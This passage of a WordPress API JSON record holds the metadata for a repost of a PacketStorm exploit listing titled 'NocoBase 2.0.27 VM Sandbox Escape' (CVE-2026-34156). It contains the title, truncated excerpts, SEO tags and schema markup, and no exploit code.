&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:07&#8243;,&#8221;description&#8221;:&#8221;NocoBase versions 2.0.27 and below VM sandbox escape exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220576&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34156&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape \\n # Date:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-52569","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=52569\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:07&#8243;,&#8221;description&#8221;:&#8221;NocoBase versions 2.0.27 and below VM sandbox escape exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220576&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34156&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape n # Date:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=52569\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-08T13:40:38+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576\",\"datePublished\":\"2026-05-08T13:40:38+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569\"},\"wordCount\":2378,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52569#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569\",\"name\":\"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-08T13:40:38+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52569\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52569#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=52569","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:07&#8243;,&#8221;description&#8221;:&#8221;NocoBase versions 2.0.27 and below VM sandbox escape exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220576&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34156&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape n # Date:...","og_url":"https:\/\/zero.redgem.net\/?p=52569","og_site_name":"zero redgem","article_published_time":"2026-05-08T13:40:38+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=52569#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=52569"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576","datePublished":"2026-05-08T13:40:38+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=52569"},"wordCount":2378,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=52569#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=52569","url":"https:\/\/zero.redgem.net\/?p=52569","name":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-08T13:40:38+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=52569#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=52569"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=52569#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 NocoBase 2.0.27 VM Sandbox Escape_PACKETSTORM:220576"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=52569"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52569\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=52569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=52569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=52569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}